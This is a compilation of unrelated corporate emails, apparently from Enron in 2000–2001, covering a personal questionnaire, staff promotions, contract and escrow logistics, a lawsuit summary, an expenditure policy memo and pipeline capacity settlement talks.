> > > SEASON YOU LOVE THE MOST. fall -- in houston its definitely the best 
> >
> > > WHAT TYPE WAS YOUR FIRST CAR?  a lovely ford tempo piece of crap  
> >
> > > IF YOU COULD MEET ONE PERSON DEAD OR ALIVE WHO WOULD
> >IT BE? i'm not really enamored with famous people so thats a tough one
> > > WHAT IS YOUR ZODIAC SIGN? virgo
> > > WHO IS YOUR FAVORITE POET?  who cares
> >DO YOU EAT THE STEMS OF BROCCOLI?  yes
> > >
> THE WORST MOMENT OF YOUR LIFE:  being in the hospital for surgery  
> >IF YOU WOULD HAVE ANY JOB YOU WANTED, WHAT WOULD IT
> >BE?  sports and activities developer for kids
> >
> >  > IF YOU COULD DYE YOUR HAIR ANY COLOR? red 
> >
> >
> >  > HAVE YOU EVER SWAM NAKED? oh yeah
> >
> > > IS THE GLASS HALF EMPTY OR HALF FULL? half full
> >
> > > FAVORITE COLORS? green, purple 
> >
> >  > WHAT IS YOUR FAVORITE SNAPPLE DRINK? none
> > > FAVORITE MOVIES?  Good Will Hunting, Field of Dreams, Erin Brockovich
> >
> >  > FAVORITE CARTOONS?  the flintstones, south park
> > > ONE PILLOW OR TWO? two -- three right now if you include the body 
pillow >  > ARE YOU A LEFTY OR RIGHTY? righty
> >
> > > WHAT KIND OF CAR WOULD YOU LIKE TO HAVE? fine with mine actually -- 
lexus suv
> >DO YOU TYPE WITH YOUR FINGERS ON THE RIGHT KEYS?  nope - never learned
> >
> >
> > > FAVORITE FOOD: mexican and mashed potatoes 
>
> HOW WOULD YOU LIKE TO DIE: old age -- in my sleep
> > > DO YOU BELIEVE IN GOD?  yes
> >
> > > DO YOU PRAY? yes - not every night though 
> >
> > > WHAT'S UNDER YOUR BED? i think a baseball bat 
> >
> > > WHAT IS YOUR FAVORITE NUMBER? 7 
> >
> >  FAVORITE ICE-CREAM? hot fudge vanilla sundaes 
> >  > FAVORITE SPORT TO WATCH? basketball
> > > FUNNIEST PERSON YOU KNOW: trevor vaughan
> > > WHAT DO YOU SEEK IN YOUR PARTNER? fun to be around, honest, motivated
> >  > HOW DO YOU SLEEP? usually on my stomach but not at 8 months pregnant
> > >
> WHAT WOULD YOU CHANGE OF YOURSELF? my short temper 
> >
> >MOUNTAINS OR BEACH? mountains -- i dont tan  
> >
> >  > DO YOU COLLECT SOMETHING?  not really 
>
> >
> > > WHAT ARE YOU MOST SCARED OF? failure
> > > WHAT IS YOUR FAVORITE PERFUME?  cant wear traditional perfume so i like 
bath & body works cucumber melon
> >
> > > ARE YOU ABSOLUTELY HAPPY?  yes>
> >
> > > SAY ONE NICE THING ABOUT THE PERSON WHO SENT THIS TO
> >YOU: rachel - you are my oldest and truest friend.  thanks for always 
being there.
> > > PERSON YOU SENT THIS TO WHO IS MOST LIKELY TO
> >RESPOND:  
> WHO IS LEAST LIKELY TO RESPOND: 
> >
> >  > DID YOU SAY THE WHOLE TRUTH? yes 
> >
> >
> >

Based on my review of the files, we do not have signed agreements for the following:

Tom Alonso*
Mark Fischer*
Ben Jacoby
Laura Luce
Mike McDonald
Narsimha Misra
Dave Parquet
Gregg Penman
Frank Vickers

Would you mind asking the vault if they have these?  If not, could you get with Knudsen to get them?

Thanks.  (By the way, no one should know why).

Thanks a lot!!

Michelle

Derek Kilner
5104 Baltan Rd
Bethesda, MD 20816
helckat@aol.com

We are ok with your Addendum to the agreement.  However,  there remains 
Section 3.2,  we discussed earlier.  Because this is interruptible gas we 
prefer Spot Standard. 

Also,  with regards to the signatory.  Is Mr. Roy VP for Atmos Energy 
Corporation?

I will prepare an additional GISB for United Cities.  

Regards,

 =09[IMAGE]=09 =09[IMAGE]=09[IMAGE]=09

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Thanks a lot Augustine.

Errol

From: Agustin Perez on 02/21/2001 11:14 AM
To: Errol McLaughlin/Corp/Enron@ENRON
cc:  

Subject: Global Accounting Promotions

Errol,

Congratulations on your promotion.
Well deserved it !

Agustin

----- Forwarded by Agustin Perez/NA/Enron on 02/21/2001 11:16 AM -----

	Rick Causey@ENRON
	Sent by: Enron Announcements@ENRON
	02/21/2001 02:02 AM
		 
		 To: All Enron Worldwide
		 cc: 
		 Subject: Global Accounting Promotions

Please join me and the Global Accounting leadership team in congratulating 
the following individuals on their promotions to:

To Managing Director
 Sally Beck (EWN) 
 Fernley Dyson (EEL)
 
To Vice President
 Beth Apollo (ENW)    
 Janine Juggins (EEL Tax)
 Phillip Lord (EBS)  
 Laura Scott (ENA)
 Chris Sherman (ENA)
 Wade Stubblefield (EES)

To Senior Director
 Buddy Aiken (EEL)
 Jim Coffey (ENA)
 Donette Dewar (Intl. Tax)
 Patricia Dunn (NEPCO)
 Mark Frank (ENA)
 William Gehle (EECC)
 Joseph Grajewski (EECC)
 Jan Johnson (Corp)
 Scott Mills (ENW)
 James New (EEL)
 Mary L. Ruffer (ENA)
 Richard Sage (EEL) 
 Elaine Schield (Corp)
 Kevin Sweeney (ENW)
 Beth Wapner (EBS Tax)
 
Director
 Thresa Allen (ENW)
 Ron Baker (Corp)
 Misty Barrett (EES)
 Jeff Blumenthal (EWS)
 Trey Cash (Corp Tax)
 Karen Choyce (Corp)
 Cheryl Dawes (ENA)
 Lanette Earnest (EWS Tax)
 Jeffrey Gossett (ENW)
 Robert Guthrie (ETS Tax)
 Susan Helton (ENA)
 Ralph Jaeger (EEL)
 Andrea Kerch (EEL) 
 Faith Killen (ENA)
 Johnna Kokenge (Corp)
 Matt Landy (EEL)
 Andy Lawrence (ISC) 
 Connie Lee (EBS)
 Caroline Lothian (EEL)
 Meg Malone (Corp Tax)
 Gary Peng (Corp)
 Stephen Schwarzbach (Corp)
 Sally Seelig (EES Tax)
 Don Shackley (EES/London Tax)
 Patricia Shannon (Corp)
 Eddie Sikes (Intl. Tax)
 Jeffrey Smith ( EGM) 
 Ron Smith (GSS)
 Kim Theriot (ENW)
 Hope Vargas (ENA)
 Tina Ward (EEL)
 Stephen Whitaker (EEL) 
 Stacey White (ENW)
 Rob Wilcott (Corp)
 
To Manager
 Christopher Abel (ENW)
 Stacey Aune (ENA)
 David Baumbach (ENW)
 Maya Beyhum (ENW London)
 Patricia Bloom (ENA)
 Matthew Brown (ENW)
 Vince Cacaro (ISC)
 Clara Carrington (ENW)
 Carol Carter (ENA)
 Carolyn Centilli (ISC)
 Erin Copeland (EECC)
 Richard Cross (ENW)
 Rachel Davis (Corp)
 Michael Desbiens (ISC)
 David Dupre (ISC)
 Eileen Flanagan (EEL)
 Regina Figueroa (ISC)
 Rebecca Ford (ENW)
 Darron Giron (ENW)
 Julie Goodfriend (International Tax)
 Karen Gruesen (ENA)
 Kevin Hall (EEL) 
 Kristen Hanson (ENW)
 David Horne (ISC) 
 Larry Hunter (ENW)
 Todd Hunter (EES)
 Jim Ischy (GSS)  
 Chris Jones (ISC)
 William Kasmervisz (ENW)
 Kam Kaiser (ENW)
 Kedar Kulkarni (ISC)
 Monica Lande (ENW Portland)
 Suzanne Lane (EEL) 
 Vince Mack (ISC) 
 David Maxwell (ENW)
 Emitra Nelson (ISC 
 Caroline Nugent (EWS Tax)
 Mark Pope (ISC)
 Yiannis Poulopoulos (London Tax)
 Melissa Ratnala (ENW)
 Jason Sharp (Corp Tax)
 Stephanie Smith (Corp)
 Patricia Spence (ENW)
 Amy Spode (ENW)
 Patricia Sullivan (ENW)
 Lisa Sutton (ETS)
 John Swinney (ENW)
 Deana Taylor (Corp) 
 Dimitri Taylor (ENW)
 Wayne Tencer (EES)
 Bernella Tholen (ENA)
 Theresa Vos (ENA)
 Blake Walker (EECC)
 Bob Ward (International Tax)
 David Williams (EEL)
 
To Senior Specialist
 Amelia Alland (ENW)
 James Armstrong (ENA) 
 Carmen Ayala (GSS 
 Cynthia Balfour-Flanagan (ENW)
 Gilda Bartz (Corp)
 Stacey Brewer (ENW)
 Marian Briscoe (Corp Tax) 
 Aneela Charania (ENW)
 Patricia Clark (Corp)
 Chris Crixell (EES Tax)
 Diane Ellstrom (ENW)
 Heidi Griffith (EES) 
 Marla Hernandez (ISC) 
 Marlene Hilliard (ENW)
 Dave Hollick (London Tax)
 Rachel Jones (EEL)
 Dawn Kenne (ENW)
 Harry Kent (EWS Tax)
 Blanca Lopez (ENA)
 Brian Hunter Lindsay (EEL)
 Rachel Lyon (EEL)
 Stacy Hardy (ENA) 
 Sally McAdams (ISC) 
 Kelly McCain (Corp Tax)
 Errol McLaughlin, Jr. (ENW)
 Sylvia Martinez (ISC) 
 Kevin Meredith (ENW)
 Meredith Mitchell (ENW)
 Winnie Ngai (Corp Tax)
 Thien-Huong Ngo (ENW)
 Brian Palmer (ENW)
 Bich Ann T Pham (ENA)
 Shelly Pierson (Corp) 
 Lillie Pittman (ISC) 
 David Rae (ENW)
 Dixie Riddle (ETS Tax)
 Salvador Dominguez (Corp)
 Mark Schrab (ENW)
 Stephanie Sever (ENW)
 Danielle Shafer (ISC) 
 Shifali Sharma (ENW)
 Keith Simper (ENA)
 Christopher Spears (ENW)
 Caron Stark (ISC) 
 Tara Sweitzer (ENW)
 David Vandor (ENA)
 Mary Womack (ISC) 
 David Yang (International Tax)
 Sabrae Zajac (ENW)
 
To Specialist
 Kim Chick (EES Tax)
 Justin East (EEL) 
 Joey Esperance (International Tax)
 Randi Howard (ISC) 
 Melanie Hutchinson (EWS Tax)
 Mary Joseph (Corp Tax)
 Sherri Kathol (International Tax)
 Lex Lacaze (International Tax)
 Michelle LeBlanc (Corp Tax)
 Ling Li (EWS Tax) 
 Kori Loibl (ENW)
 Alan Marsh (Corp Tax)
 Bruce Mills (ENW)
 Erika Moore (EEL) 
 Matthew Motsinger (ENW)
 Sherry Meyers (ISC) 
 Andrea Price (Corp Tax)
 Bernice Rodriguez (ENW)
 Tina Salinas (EES Tax)
 Brent Vasconcellos (Corp Tax) 
 Brandi Wachtendorf (ENW)
 Patryk Wlodarski      (ENW London)

To Entry Specialist 
 Stuart Sheldrick (EEL)

To Accountant I
 Becky Klussman (Corp)

To Accountant II
 Silvia Shelby (Accounts Payable)

To Staff
 Mary Behn (EES) 
 Guy Freshwater (ENW London)
 Geralynn Gosnell (ENW)
 Richard Miley (ENW)
 Brent Storey (ENW London)
 Stuart Thom (ENW London)
 Judith Walters (ENW)
 Jonathan White (ENW London)
 Joan Winfrey (ENW)
 
To Senior Tax Analyst
 Emily Allwardt (International Tax)
 Leon Branom (EBS Tax)
 Shanna Husser (EES Tax)
 Shilpa Mane (Corporate/London Tax)
 Todd Richards (Corp Tax)
 Michelle Thompson (Corp Tax)

To Sr. Administrative Assistant
 Norma Chavez (International Tax)
 Sarah Knott (ENW London)
 
To Sr. Travel Administrator
 Cheryl Slone (GSS )

To Administrative Coordinator
 Heather Choate (ENW)
 Kayla Heitmeyer (GSS)
 
To Senior Clerk
 Angela Barnett (ENW)
 Matthew Davies (ENW London)
 Daniela De Lisi (ENW London)
 Rufino Dorteo (ENA) 
 Mark Pilkington (ENW London)
 Narjinder Sandhu (EEL)
 Howard Sweasey (EEL)
 Laura Vargas (ENW)
 Jo Ann Woods (Corp Tax) 
 
To Intermediate Clerk
 Maria Maldonado (Accounts Payable)
 Araceli Mondragon (Accounts Payable)
 Irma Rodriguez (Accounts Payable)
 Bernita Sowell (Accounts Payable)

Rumor on the street is that the entire 200 MMcf/d of capacity in the PGT-NW expansion went to one shipper who offered max. rates for 35 years.

Nice job.  Thanks.

	"Philip K. Verleger" <PVerleger@compuserve.com>
	01/24/2001 04:32 PM
		 
		 To: "INTERNET:Jeff.Dasovich@enron.com" <Jeff.Dasovich@enron.com>
		 cc: 
		 Subject: Conflicts of Interest

Jeff

I have never been accused of being subtle.  However, someone had to say it 
and it is better to say it now than to have it come out later.

Phil

Dear David:

        I am writing this note to you and not the committee.  I am worried
that too many of the signatories can be accused of trying use their
academic positions to achieve results desired by their consulting clients. 
I riase this issue because more than one person has told me that "Paul
Joscow is owned by Edison."  While such statements are generally wrong I
believe you need to be sensitive to the potential attack.  In particular, I
worry that our efforts will be undermined if too many of the individuals
signing the report have had extensive dealings with the state's three
largest utilities.  I can just see the headline "Apologists for utilities
offer solutions to state's energy problems."  

        You know we will be attacked after we issue the manifesto.  The
question is, will the attacks have merit.  If we were all white as the
driven snow there would be no problem.  However, under such circumstances
we would all be poor. 

        For this reason it is important to get independent academics and
non-academics with no connections to the utilities or generators to sign
the manifesto.  I fall into this later category as, I believe, do a number
of other individuals.  The addition of Solow would obviously help as would
Arrow or McFadden.  Dale Jorgenson would also be a great addition because
he has never worked or testified for these firms.  The same goes for Paul
Krugman.  On the other hand, Pual brings some heavy baggage.  

        I understand it is important to have as many names attached to the
manifesto as possible.  However, Paul's name may hurt.
 
Phil

Tiffany, I'm waiting to hear from Jeff to see if he wants to speak to each of 
the panelists separately as I am finding it difficult (impossible so far!) to 
find a time that all are available.  Too many busy people.  I shall be back 
in touch with you as soon as I can have the conversation with Jeff.  My 
apologies for the delays and slow communication.  Thanks very much for your 
patience.  SRS

Tiffany Roach <troach@Greylock.com> on 04/11/2001 01:59:32 PM
To: "'Jeff.Skilling@enron.com'" <Jeff.Skilling@enron.com>
cc:  

Subject: April 24 YPO presentation in Houston

Hi Jeff: 

We will have to find another time to schedule a phone call with David...he 
will not be available on Thursday Afternoon.? Do you have any time on 
Thursday 4/19 after 3PM EST?

Tiffany A. Roach 
Executive Assistant to David Aronoff 
(617) 423-5525 x213 

From: David Aronoff 
Sent: Wednesday, April 11, 2001 9:46 AM 
To: 'Jeff.Skilling@enron.com' 
Cc: Tiffany Roach 
Subject: RE: April 24 YPO presentation in Houston 

Jeff/Sherri 

Unfortunately I jump on a plane Thur at 430pm EDT and don't think that leaves 
enough of a gap to make Jeff's availability. Can we try to reschedule 
conversation?

I have copied my assistant, Tiffany Roach, on this message to help 
coordinate. 

Thanks, 

David 

++++++++++++++++++++++++++++++++++++++++++++ 
David B. Aronoff???????? email: daronoff@greylock.com 
General Partner???????? phone: 617 423 5525 x220 
Greylock Partners????????? fax: 617 482 0059 
One Federal St??????????? edial: http://davidaronoff.edial800.com 
Boston, MA 02110 

From: Jeff.Skilling@enron.com [mailto:Jeff.Skilling@enron.com] 
Sent: Monday, April 09, 2001 3:44 PM 
To: kcompton@kpcb.com; darnoff@greylock.com; johnt@austinventures.com 
Subject: April 24 YPO presentation in Houston 
Importance: High 

Gentlemen, 

I'm writing on behalf of Jeff Skilling regarding scheduling a 20-minute 
conference call to discuss the above referenced presentation/panel 
discussion at the Houston Chapter YPO (Young Presidents Organization) 
meeting.? Jeff is available the afternoon of Thursday, April 12, between 
the hours of 3:00 p.m. and 5:00 p.m. (CDT).? Please let me know what your 
availability is during this time period, and I'll be back in touch to nail 
down an exact time or to suggest an alternative date/time. 

Thank you very much for your commitment to this event and for your patience 
in awaiting the details.? I look forward to hearing from each of you soon. 

Best regards, 
Sherri Sera 
Assistant to Jeff Skilling 
713.853.5984 
713.646.8381 (fax) 
sherri.sera@enron.com 

Sent to: 
David Arnoff, Greylock 
Kevin Compton, KPCB Team Partners 
John Thornton, Austin Ventures 

Bruce,  Attached is an article I found in the Houston Chronicle business 
section yesterday.  Has a negative outlook, but mostly related to product 
supply B2Bs.    You probably are familiar with most of the B2Bs they 
mention.  Thought might be useful to you.  Good talking to you yesterday.  
The check better arrive this week or I start breaking your stuff one piece at 
a time.

CC,

Do you still have the contact info for the escrow agent?  If so, it would be  
great it you would contact them directly.

The turbine contract is going back and forth between us and GE.  I expect 
that it may well be ready tomorrow.

I expect the Enron opinion letter to be an issue.

Kay

"Campbell, Carolyn" <CCampbell@KSLAW.com> on 04/09/2001 04:21:35 PM
To: "'kay.mann@enron.com'" <kay.mann@enron.com>
cc: "Keffer, John" <JKeffer@KSLAW.com> 

Subject: Delta Timetable

Kay:

Note the following timetable from the final version of the ENA/PPL letter
agreement:

(1)  ENA agreed to use commercially reasonable efforts to deliver the final
form of the turbine contract on or before April 11, 2001.
(2)  The parties agreed to commercially reasonable efforts to execute an
escrow agreement on or before April 16, 2001.
(3)  The escrow account must be funded 3 business days after the later of
(a) ENA's delivery of the final form of the turbine contract and (b) the
closing of PPL's financing.
(4)  ENA can terminate if the escrow is not funded on or before April 19,
2001 (but this date gets pushed back by one business day for each business
day beyond April 11, 2001 that ENA delivers the final form of the turbine
contract).
(5)  The closing occurs at least 5, but not later than 10, business days
after funding the escrow account.
(6)  Either party may terminate if the closing has not occurred on or before
May 3, 2001.

If ENA delivers the final form of the turbine contract on April 11, 2001,
then the April 19, 2001 right to terminate stands.  PPL's obligation to fund
the escrow would then be determined by the date of its loan closing.  Greg
Lang advises that they are working on PPL's financing, but he did not give
an estimated date for financial closing.  

I advised Greg on Friday that the legal opinions from both GE and Enron were
causing heartburn.  He agreed to pass this along to Isabel Parker.  He asked
today about GE's reaction to the consent document and if it would be
appropriate for Isabel Parker to contact GE directly at this point.  He also
requested a draft of the escrow disbursement instructions.  When you get a
chance, please advise of any comments in order that we can circulate for
PPL's review.  Also, we need to contact Citibank to clear the proposed form
of escrow agreement (and the anticipated disbursement instructions) and to
negotiate the fee.  Let me know if we can assist in this regard.  Thanks.

King & Spalding 
 
Jeff, attached below is my first cut at the org memo.  Please review, make 
additions,comments and corrections and return it via a word document on 
email.  Once i receive comments from all the individual business heads then 
I'll ciculate again for final review and commentary.

Mike

----- Forwarded by Steven J Kean/NA/Enron on 12/04/2000 09:12 AM -----

	12/01/2000 04:39 PM
		 
		 To: Steven J Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron
		 cc: 
		 Subject: Draft of Bush Transition Team Memo to Steve Kean

Steve,   As we just discussed, this is the transition memo suggesting that  
you place a call to Clay Johnson.   As noted in the memo, we are still 
working through with the lawyers what leave status our employees would be 
required to take while serving on the private transition and the publicly 
funded transition.  The answer to this question may determine their 
willingness to serve, in some cases.  

WAS THIS NOT CANCELLED?

From: 	Guerra, Claudia  
Sent:	Monday, August 20, 2001 11:04 AM
To:	Forney, John M.; Will, Lloyd; Day, Smith L.
Cc:	Black, Tamara Jae; Delgado, Lydia
Subject:	Keenon C. Wilborn

Lydia in recruiting has just informed me that Keenon C. Wilborn will be able to make it for his interview today.  So I hope you can still interview him at
the same time.

Thank you,
Claudia
x34588

This is the schedule for Keenon C. Wilborns interview for today.

John Forney: 1:00 pm - 1:30 pm  EB3127

Lloyd Will:  1:30 pm - 2:00 pm   EB3127

Smith Day:  2:00 pm - 2:30 pm  EB3127

Thank you,
Claudia Guerra
x34588

I think this is a very interesting idea.  Please get with Bill D. and make 
sure he gets a description of what we would need to do to physically 
accomodate the station and make sure he's comfortable with it before we go 
ahead.

	Laura Schwartz
	03/05/2001 12:52 PM
		 
		 To: Cindy Olson/Corp/Enron@ENRON
		 cc: Steven J Kean/NA/Enron@Enron, Karen Denne/Corp/Enron@ENRON, Elyse 
Kalmans/Corp/Enron@ENRON
		 Subject: WeatherNet

As part of our agreement with the Channel 2 WeatherNet program we were given 
the option to have a weather station at the Enron building. This would be an 
additional $5,000 on top of our commitment. I brought the idea to Gary Taylor 
and Todd Kimberlain in weather and they thought it would be a great idea to 
serve as the weather tracking spot in downtown Houston. They have agreed to 
pay the $5K for the equipment and installation. So now, in addition to 
Channel 2 mentioning "WetherNet, brought to you by Enron," everytime they 
talk about the weather in downtown Houston, they will mention the current 
temp. at the Enron building.

If you have any questions, please call me at ext. 34535.

Laura 

 As we have referenced in our monthly report,  Enron is involved in a dispute 
with Mr. Friedman concerning his involvement in a proposed natural gas 
transportation and marketing arrangement in the Republics of Mozambique and 
South Africa (the "Pande Project").   Mark Wawro at Susman Godfrey has been 
representing Enron Southern Africa Development and Enron Oil and Gas 
Mozambique in negotiations with the Friedmans' lawyer, Jim Reed, at Looper 
Reed. 
  On January 16, 2001, the above referenced lawsuit was filed despite the 
fact that the parties had recently met to discuss their respective positions 
and had agreed to exchange documents. The lawsuit was filed in the 133rd 
Judicial District Court of Harris County and, therefore, is pending before 
Judge Lamar McCorkle.  The defendants have not been served and the 
plaintiffs' lawyer has asked Mr. Wawro to accept service on their behalf. 
 The plaintiffs allege that the defendants  breached the subject consulting 
agreement by "failing to honor and denying any intention to honor, their 
Development Fee and Investment Right obligations under the Consulting 
Agreement". More specifically, plaintiffs seem to be complaining about a 
failure of the defendants to pay a percentage of the $30 million allegedly 
received in connection with  the transfer of defendants' interest in the 
Pande Project and termination of the plaintiffs' consulting agreement  The 
plaintiffs have also demanded an accounting as well as pre and post judgment 
interest.  A specific dollar amount of the damages sought was not provided.
 Please call me if you have any additional questions about this matter.

---------------------- Forwarded by Judy Townsend/HOU/ECT on 11/15/2000 10:47 

"perfmgmt@enron.com"<perfmgmt on 11/14/2000 09:18:38 PM
To: judy.townsend@enron.com
cc:  
Subject: Year End 2000 Performance Feedback

NOTE:  YOU WILL RECEIVE THIS MESSAGE EACH TIME YOU ARE SELECTED AS A REVIEWER.

You have been selected to participate in the Year End 2000 Performance 
Management process by providing meaningful feedback on specific employee(s).  
Your feedback plays an important role in the process, and your participation 
is critical to the success of Enron's Performance Management goals.

To complete requests for feedback, access PEP at http://pep.corp.enron.com 
and select Perform Review under Performance Review Services.  You may begin 
providing feedback immediately and are requested to have all feedback forms 
completed by Friday, November 17, 2000.

If you have any questions regarding PEP or your responsibility in the 
process, please contact the PEP Help Desk at:

Houston: 1.713.853.4777, Option 4
London:  44.207.783.4040, Option 4
Email: perfmgmt@enron.com

Thank you for your participation in this important process.

The following is a CUMULATIVE list of employee feedback requests with a 
status of "OPEN."   Once you have submitted or declined an employee's request 
for feedback, their name will no longer appear on this list.

Review Group: ENRON
Feedback Due Date: Nov 17, 2000

Employee Name                   Supervisor Name                 Date Selected
-------------                   ---------------                 -------------
BARBE, ROBIN S                  SCOTT M NEAL                    Nov 12, 2000
BEATY, BEVERLY B                VICTOR LAMADRID                 Nov 06, 2000
FLETCHER, BRENDA H              WILLIAM A KELLY                 Oct 30, 2000
FRANKLIN, CYNTHIA H             VICTOR LAMADRID                 Nov 14, 2000
GARCIA, CLARISSA                VICTOR LAMADRID                 Nov 06, 2000
GERMANY, CHRIS L                SCOTT M NEAL                    Nov 03, 2000
GOODELL, SCOTT E                SCOTT M NEAL                    Nov 01, 2000
JUNEK, DANIEL R                 SCOTT M NEAL                    Nov 03, 2000
LAMADRID, VICTOR                ROBERT A SUPERTY                Nov 01, 2000
MITCHELL, MEREDITH L            VICTOR LAMADRID                 Nov 14, 2000
PANDYA, BHAVNA N                COLLEEN SULLIVAN-SHAKLOVITZ     Oct 30, 2000
PEREIRA, SUSAN W                SCOTT M NEAL                    Nov 12, 2000
RING, ANDREA K                  SCOTT M NEAL                    Nov 12, 2000
VERSEN, VICTORIA L              SCOTT M NEAL                    Nov 12, 2000

FROM:??????????? Dana Gibbs
 
DATE: ??????????? July 19, 2000
 
RE:?????????????????? Contract Approval, AFEs and Consulting Arrangements

??????????? The following guidelines must be followed for all existing 
projects, as well as new contracts, AFEs and consulting arrangements.? 
 Contract Approval
??????????? Effective immediately, all contracts must be approved by legal, 
with the final version of the contract initialed by legal prior to 
execution.? Exceptions will be limited to the execution of crude oil 
purchases and sales contracts that are on a pre-approved form and occur in 
the normal course of business.? Any other exceptions must be approved by the 
Office of the Chairman.? In order to ensure that we have a handle on existing 
contracts, please provide a copy of any finalized contract which legal did 
not initial prior to execution, but is currently in effect or not yet 
performed, to Molly Sample by July 25, 2000.? 
AFEs
??????????? Based on my review of the latest AFE report, EOTT needs to 
utilize this tool to better manage all of its expenditures for budget 
purposes to ensure proper prioritization of EOTT's cash.? Company policy 
requires that all expenditures greater than $5,000 that relate to expansion 
capital and maintenance capital are required to have an AFE set up prior to 
any expenditure.? I have asked the property accounting group to monitor 
compliance with that policy starting today and hold for payment any 
expenditures not authorized according to the policy.? Effective immediately, 
all employees will be prohibited from starting any project that does not have 
an approved and signed AFE.? In addition to ensuring that the current policy 
is strictly adhered to, the policy will be broadened to include a) 
expenditures for environmental expenses captured on the EMS Works system and 
b) the use of blanket AFEs for small recurring asset purchases such as 
computer equipment (computer equipment under $5,000 would be capitalized 
under these blanket AFEs and no longer expensed).? 
??????????? In order to more accurately monitor existing AFEs, please be sure 
the following steps are taken for each AFE prepared by your department:? 1) 
obtain competitive bids prior to starting a project; 2) all projects for 
which costs are projected to exceed the approved AFE by 10% or $50,000, 
whichever is less, must have a supplemental AFE prepared and submitted for 
approval within 30 days of the projected budget overrun, and 3) any project 
that is in process and does not have an AFE must be put on hold until an AFE 
can be approved, and 4) any open AFEs that are fully completed (meaning all 
invoices have been received and routed for payment) must be closed.? A final 
capital and maintenance budget for all authorized (and still open) AFEs will 
be completed and distributed by July 25, 2000.
 ??????????? Please consult Joe Richards for information necessary to utilize 
the AFE System for all future AFE processing or for a copy of the AFE policy.
 Consulting Contracts and Service Contracts
 ??????????? Effective immediately, no new consulting arrangements may be 
entered into or extended without the approval of the Office of the Chairman.? 
Additionally, Human Resources/Administration must be contacted prior to 
entering into any consulting arrangements to 1) arrange for office space, if 
necessary for the project, and 2) to determine how the position should be 
filled (contract position, temporary employee, or permanent employee).? For 
all existing consulting agreements, please provide me with a comprehensive 
listing by arrangement, including terms and business rationale, by July 25, 
2000.? Please contact Molly Sample to prepare a contract for any undocumented 
consulting arrangements.? Written documentation on all consulting/contracting 
arrangements must be maintained by Human Resources in the event of any 
governmental agency audit of EOTT's contract employees. 
 ??????????? Contractors who provide various services, such as trucking, 
environmental cleanup, maintenance, etc. must execute a service contract and 
maintain a valid insurance certificate to remain on EOTT's approved 
contractor list, which is available on EOTT's Intranet.? Requests for service 
contractors must be sent to John Zimmerman in the Legal Department.? Please 
forward a request for contract to John for any service arrangements which are 
not documented by July 25, 2000.

Accounts Payable Documentation
??????????? Please be reminded that the Accounts Payable Department requires 
complete and timely documentation for all invoices submitted for payment.? 
This includes all charges made using a P card.? Incomplete invoices or copies 
of invoices will be returned to the submitting party.? For service contracts, 
a summary of hours, hourly rate, and a brief description of the work 
performed by person, by date, and by project, along with documentation to 
support specific authorized out-of-pocket expenses, must be submitted before 
payment can be made.? For materials, a comprehensive description of all 
items, including the quantity purchased, must be submitted before payment can 
be made.? 
 
??????????? Please notify the appropriate people in your respective 
departments of these procedures and contact me if you have any questions or 
comments.
 
In the final analysis, we did not make a lot of progress in reaching 
agreement to settle the RP99-507 proceeding on El Paso's capacity allocation 
proposal at the conference in San Francisco last week.

The parties have agreed to proceed on a dual track because of Burlington's 
concerns about timing.  We will  reconvene for settlement discussions July 12 
and 13 at Southwest Gas's offices in Las Vegas after comments and reply 
comments are filed as permitted under the procedures agreed to at the May 2 
technical conference at FERC.  Comments are due June 30 and reply comments on 
July 7.  Amoco and Burlington filed the original complaint on September 21, 
1999, and requested fast-track processing under the Commission's new 
complaint procedures.  Burlington is pushing to have the Commission adhere to 
the fast-track processing of the complaint, maintaining that an order should 
have been issued within 240 days (I don't know where they got that from -- I 
can't find any such requirement), and vehemently opposed any attempts to 
extend the procedural schedule.

The tone of the meeting was set when Harvey Morris, representing the CPUC, 
was allowed to make a statement because he had to leave by 1:30 (the meeting 
started about 12:30).  He started by saying that the CPUC was in complete 
opposition to the Settlement Proposal circulated by El Paso on June 6, and 
then outlined all the reasons it was unfair to California shippers and was in 
violation of the '96 Settlement.  

After Harvey spoke, El Paso then reviewed its June 6 settlement proposal, 
which you received by e-mail, and provided some additional explanations of 
assumptions, etc.  Then the parties met in individual groups to caucus on 
their positions and reconvened as a group to discuss. 

Of particular note was the allocation of the 360 MM/d of San Juan-only 
capacity that El Paso proposed to take back from Burlington (97J4) and Amoco 
(97JB).  El Paso said that it had been allocated 106 MM to the Havasu 
shippers, 180 MM to the EOC shippers, and 74 MM to all others (California CD 
shippers).  This was a major point of contention in most of the ensuing 
discussions -- California shippers objected to EOC getting the lion's share 
of the additional San Juan capacity.  Under El Paso's proposal, EOC shippers 
would get 82% of their rights from San Juan and 18% from Permian, based on 
BDs.  CD shippers, on the other hand, get 61% and 39%, respectively.

EOC shippers pointed out that the BDs were not actually representative of 
their load.  BDs were simply a number negotiated among the EOC shippers to 
allocate the costs that were allocated between EOC and California in the '96 
settlement.  Certain EOC shippers suggested that their specified rights 
should be based on some other calculation, such as non-coincident peak day 
usage, rather than BD.

Another major issue was the proposal that full requirements shippers (FR 
shippers) be given systemwide receipt point rights in addition to the 
specified rights they would get based on their billing determinants (BD).  El 
Paso proposed that these systemwide rights would have a scheduling priority 
superior to that of a CD shipper using its capacity on an alternate firm 
basis (either alternate receipt/primary delivery or alternate 
receipt/alternate delivery).  Of course, the FR shippers approved of the 
proposal but most other parties  objected to it.  Several suggestions were 
advanced to try to reach a compromise (for instance, limiting FR shippers to 
primary specified receipt point rights during Cycle 1 nominations), but none 
were accepted.  Most non-FR shippers stated concerns about the practical 
impact of giving FR shippers such a scheduling priority, particularly since 
El Paso's interpretation was that the FR shippers would not have to nominate 
any of their Permian specified rights in order to come back to the San Juan 
with  the systemwide rights.

Everyone pretty much agreed that El Paso's proposal for capacity release of 
receipt point rights (#4 in their write-up) was a non-starter.  It was put on 
the table to address an earlier suggestion by EOC shippers that, if they 
could be made economically neutral to using non-San Juan points, they might 
be more receptive to some restrictions on their specified rights.  What they 
were looking for was some discount for using Permian and there was some 
further discussion along those lines but El Paso was not receptive, stating 
that such would mean opening the allocation of costs in the rate case.

A third issue was who gets what rights at SoCal/Topock.  SoCal Gas doesn't 
consider El Paso's proposal not to sell Block II turned-back capacity to its 
Topock point to be of much value since FERC has said they can't anyway.  
SoCal Gas is looking for a right to get out of any of its contract for which 
it cannot get a specified delivery point of SoCal/Topock.  However, SoCal Gas 
can't at this point commit to the group a number that it could live with as a 
specified right at Topock.  Conversely, all the other CD shippers who think 
they bought firm rights at SoCal/Topock are not willing to see SoCal Gas get 
all the rights unless they, too, can get out of their contracts.

